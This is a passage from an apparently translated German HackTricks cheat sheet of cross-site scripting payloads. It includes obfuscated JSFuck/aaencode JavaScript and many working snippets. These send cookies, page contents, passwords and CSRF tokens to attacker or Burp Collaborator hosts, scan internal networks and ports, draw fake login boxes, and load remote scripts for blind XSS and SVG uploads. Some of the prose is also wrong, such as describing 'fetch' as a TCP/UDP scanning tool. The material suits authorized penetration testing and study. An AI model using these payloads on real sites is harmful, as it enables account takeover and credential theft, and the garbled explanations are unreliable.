)[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}

XSS gängige Payloads

Mehrere Payloads in 1

{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}

Cookies abrufen

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

{% hint style="info" %} Wenn das HTTPOnly-Flag im Cookie gesetzt ist, können Sie über JavaScript nicht auf die Cookies zugreifen. Aber hier haben Sie einige Möglichkeiten, diesen Schutz zu umgehen, wenn Sie Glück haben. {% endhint %}

Seiteninhalt stehlen

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

Interne IPs finden

Um interne IP-Adressen zu finden, können verschiedene Techniken verwendet werden:

1. DNS-Rekursion

Eine Möglichkeit besteht darin, die DNS-Rekursion zu nutzen, um interne IP-Adressen zu identifizieren. Dies kann erreicht werden, indem man eine DNS-Anfrage an einen öffentlichen DNS-Server sendet und überprüft, ob die Antwort eine interne IP-Adresse enthält. Dies kann auf verschiedene Weisen erfolgen, z. B. durch Ausnutzen von DNS-Zonenübertragungen oder durch Durchsuchen von DNS-Caches.

2. Reverse DNS-Lookup

Eine weitere Methode besteht darin, Reverse DNS-Lookups durchzuführen. Hierbei wird versucht, den Hostnamen einer IP-Adresse zu ermitteln. Wenn der Hostname auf eine interne Domain hinweist, kann dies darauf hindeuten, dass die IP-Adresse intern ist.

3. ARP-Scannen

Mit ARP-Scannen kann man die ARP-Tabelle eines Netzwerks analysieren, um interne IP-Adressen zu finden. Dies kann erreicht werden, indem man ARP-Anfragen an alle möglichen IP-Adressen im Netzwerk sendet und die Antworten analysiert.

4. Portscanning

Portscanning kann ebenfalls verwendet werden, um interne IP-Adressen zu finden. Durch das Scannen eines Netzwerks auf offene Ports kann man Hinweise auf interne Systeme erhalten.

Es ist wichtig zu beachten, dass das Auffinden interner IP-Adressen ohne Zustimmung des Eigentümers illegal sein kann. Daher sollte diese Technik nur im Rahmen einer autorisierten Penetrationstest durchgeführt werden.

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

Port Scanner (fetch)

Ein Port-Scanner ist ein Tool, das verwendet wird, um offene Ports auf einem Zielrechner zu identifizieren. Es ermöglicht einem Angreifer, potenzielle Schwachstellen zu erkennen und Angriffe auf diese Ports durchzuführen.

Der Port-Scanner kann verschiedene Techniken verwenden, um die Verfügbarkeit von Ports zu überprüfen. Eine gängige Methode ist das Senden von Netzwerkpaketen an verschiedene Ports und das Überwachen der Antworten. Wenn eine Antwort empfangen wird, bedeutet dies, dass der Port geöffnet ist.

Ein Beispiel für einen Port-Scanner ist das Tool "fetch". Es ist ein leistungsstarkes und flexibles Tool, das in der Lage ist, verschiedene Arten von Port-Scans durchzuführen. Es kann sowohl TCP- als auch UDP-Scans durchführen und bietet eine Vielzahl von Optionen zur Anpassung des Scans.

Um den Port-Scanner "fetch" zu verwenden, müssen Sie die IP-Adresse des Zielrechners angeben und die gewünschten Optionen festlegen. Das Tool sendet dann Netzwerkpakete an die angegebenen Ports und gibt die Ergebnisse zurück.

Es ist wichtig zu beachten, dass das Scannen von Ports ohne Zustimmung des Eigentümers illegal sein kann. Es ist daher wichtig, die geltenden Gesetze und Vorschriften zu beachten und nur autorisierte Tests durchzuführen.

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (Websockets)

Ein Port Scanner ist ein Tool, das verwendet wird, um offene Ports auf einem Zielserver zu identifizieren. Mit einem Port Scanner können Sie feststellen, welche Dienste auf einem bestimmten Port laufen und ob diese verwundbar sind.

Websockets sind eine Technologie, die es ermöglicht, eine bidirektionale Kommunikation zwischen einem Webbrowser und einem Webserver herzustellen. Sie werden häufig für Echtzeit-Anwendungen wie Chat-Anwendungen oder Echtzeit-Spiele verwendet.

Ein Port Scanner für Websockets funktioniert ähnlich wie ein herkömmlicher Port Scanner, jedoch spezialisiert auf das Scannen von Websocket-Ports. Er sendet Anfragen an verschiedene Ports und überprüft, ob eine Verbindung hergestellt werden kann. Wenn eine Verbindung erfolgreich hergestellt wird, bedeutet dies, dass der Port geöffnet ist und Websocket-Dienste darauf laufen könnten.

Es gibt verschiedene Tools und Skripte, die für das Scannen von Websocket-Ports verwendet werden können. Einige beliebte Optionen sind:

  • Nmap: Ein leistungsstarkes und vielseitiges Port-Scanning-Tool, das auch Websocket-Ports scannen kann.
  • WSScan: Ein spezialisiertes Tool zum Scannen von Websocket-Ports.
  • Websocket-Port-Scanner: Ein Python-Skript, das speziell für das Scannen von Websocket-Ports entwickelt wurde.

Es ist wichtig zu beachten, dass das Scannen von Ports ohne Zustimmung des Eigentümers illegal sein kann. Stellen Sie sicher, dass Sie die erforderlichen Berechtigungen haben, bevor Sie einen Port Scanner verwenden.

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kurze Zeiten deuten auf einen antwortenden Port hin. Längere Zeiten deuten auf keine Antwort hin.

Überprüfen Sie die Liste der in Chrome gesperrten Ports hier und in Firefox hier.

Feld zur Eingabe von Anmeldeinformationen

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Erfassung von automatisch ausgefüllten Passwörtern

Ein weiterer Ansatz, um Passwörter zu erfassen, besteht darin, die Funktion zum automatischen Ausfüllen von Passwörtern in modernen Webbrowsern auszunutzen. Diese Funktion ermöglicht es Benutzern, ihre Anmeldeinformationen für verschiedene Websites zu speichern und automatisch auszufüllen, wenn sie die Website erneut besuchen.

Um diese Funktion auszunutzen, können wir ein XSS-Skript erstellen, das die Benutzer dazu verleitet, ihre Anmeldeinformationen einzugeben. Das Skript kann beispielsweise ein gefälschtes Anmeldeformular anzeigen, das dem Originalformular ähnelt. Wenn der Benutzer seine Anmeldeinformationen eingibt und das Formular absendet, wird das Skript die eingegebenen Daten abfangen und an einen externen Server senden.

Um sicherzustellen, dass das Skript die automatisch ausgefüllten Passwörter erfasst, können wir das autocomplete-Attribut des Passwortfeldes auf off setzen. Dadurch wird verhindert, dass der Browser das Passwort automatisch ausfüllt, und der Benutzer wird dazu verleitet, das Passwort manuell einzugeben.

Es ist wichtig zu beachten, dass diese Technik nur funktioniert, wenn der Benutzer die Funktion zum automatischen Ausfüllen von Passwörtern in seinem Browser aktiviert hat. Darüber hinaus kann der Benutzer möglicherweise misstrauisch werden, wenn das gefälschte Anmeldeformular nicht authentisch aussieht. Daher ist es wichtig, das gefälschte Formular so realistisch wie möglich zu gestalten, um die Erfolgschancen zu erhöhen.

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Wenn Daten in das Passwortfeld eingegeben werden, werden der Benutzername und das Passwort an den Server des Angreifers gesendet, auch wenn der Client ein gespeichertes Passwort auswählt und nichts eingibt, werden die Anmeldeinformationen exfiltriert.

Keylogger

Bei der Suche auf Github habe ich einige verschiedene gefunden:

CSRF-Token stehlen

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Stehlen von PostMessage-Nachrichten

In einigen Fällen kann ein Angreifer PostMessage-Nachrichten abfangen und stehlen, die zwischen verschiedenen Fenstern oder Frames einer Webseite ausgetauscht werden. Dies kann dazu führen, dass vertrauliche Informationen wie Sitzungstoken, Passwörter oder andere sensible Daten offengelegt werden.

Um diese Art von Angriff durchzuführen, kann der Angreifer eine bösartige Webseite erstellen, die in einem separaten Fenster oder Frame geöffnet wird. Durch die Verwendung von JavaScript-Code kann der Angreifer die PostMessage-Funktion verwenden, um Nachrichten abzufangen, die von anderen Fenstern oder Frames gesendet werden.

Um die gestohlenen Nachrichten zu erhalten, kann der Angreifer den EventListener verwenden, um auf die empfangenen Nachrichten zu lauschen und sie an einen Server zu senden, den er kontrolliert. Auf diese Weise kann der Angreifer die gestohlenen Informationen sammeln und für bösartige Zwecke verwenden.

Um sich vor diesem Angriff zu schützen, sollten Entwickler sicherstellen, dass sie die PostMessage-Funktion sicher verwenden. Dazu gehört die Überprüfung der Quelle der empfangenen Nachrichten und die Verwendung von sicheren Kommunikationskanälen wie HTTPS. Darüber hinaus sollten Benutzer vorsichtig sein, welche Webseiten sie öffnen und welche Informationen sie in PostMessage-Nachrichten senden.

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Missbrauch von Service Workern

{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Zugriff auf Shadow DOM

{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}

Polyglots

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}

Blind XSS-Payloads

Sie können auch https://xsshunter.com/ verwenden.

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Regex - Zugriff auf versteckten Inhalt

Aus diesem Bericht kann man erfahren, dass selbst wenn einige Werte aus JavaScript verschwinden, sie immer noch in JavaScript-Attributen in verschiedenen Objekten gefunden werden können. Zum Beispiel ist es immer noch möglich, den Eingabewert eines REGEX zu finden, nachdem der Wert der Eingabe des REGEX entfernt wurde:

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

Brute-Force-Liste

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}

XSS-Ausnutzung anderer Schwachstellen

XSS in Markdown

Kannst du Markdown-Code einschleusen, der gerendert wird? Vielleicht kannst du XSS bekommen! Überprüfe:

{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}

XSS zu SSRF

Hast du XSS auf einer Website, die Caching verwendet? Versuche, dies zu SSRF aufzuwerten, indem du Edge Side Include Injection mit diesem Payload verwendest:

<esi:include src="http://yoursite.com/capture" />

Verwenden Sie es, um Cookie-Beschränkungen, XSS-Filter und vieles mehr zu umgehen!
Weitere Informationen zu dieser Technik finden Sie hier: XSLT.

XSS in dynamisch erstelltem PDF

Wenn eine Webseite ein PDF mit benutzerkontrollierten Eingaben erstellt, können Sie versuchen, den Bot, der das PDF erstellt, dazu zu bringen, beliebigen JS-Code auszuführen.
Wenn der PDF-Ersteller-Bot bestimmte HTML-Tags findet, wird er sie interpretieren, und Sie können dieses Verhalten missbrauchen, um einen Server XSS zu verursachen.

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

Wenn Sie keine HTML-Tags einfügen können, könnte es sich lohnen, PDF-Daten einzufügen:

{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}

XSS in Amp4Email

AMP, das darauf abzielt, die Leistung von Webseiten auf mobilen Geräten zu beschleunigen, verwendet HTML-Tags, die durch JavaScript ergänzt werden, um die Funktionalität mit Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Funktionen, die über AMP-Komponenten zugänglich sind.

Das AMP for Email Format erweitert bestimmte AMP-Komponenten für E-Mails, sodass Empfänger direkt in ihren E-Mails mit Inhalten interagieren können.

Beispiel Writeup XSS in Amp4Email in Gmail.

XSS-Datei-Upload (svg)

Laden Sie als Bild eine Datei wie die folgende hoch (von http://ghostlulz.com/xss-svg/):

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Finde weitere SVG-Payloads in https://github.com/allanlw/svg-cheatsheet

Sonstige JS-Tricks & relevante Informationen

{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}

XSS-Ressourcen


Bug-Bounty-Tipp: Registriere dich bei Intigriti, einer Premium-Bug-Bounty-Plattform, die von Hackern für Hacker entwickelt wurde! Werde noch heute Mitglied unter https://go.intigriti.com/hacktricks und verdiene Prämien von bis zu 100.000 $!

{% embed url="https://go.intigriti.com/hacktricks" %}

Lerne AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: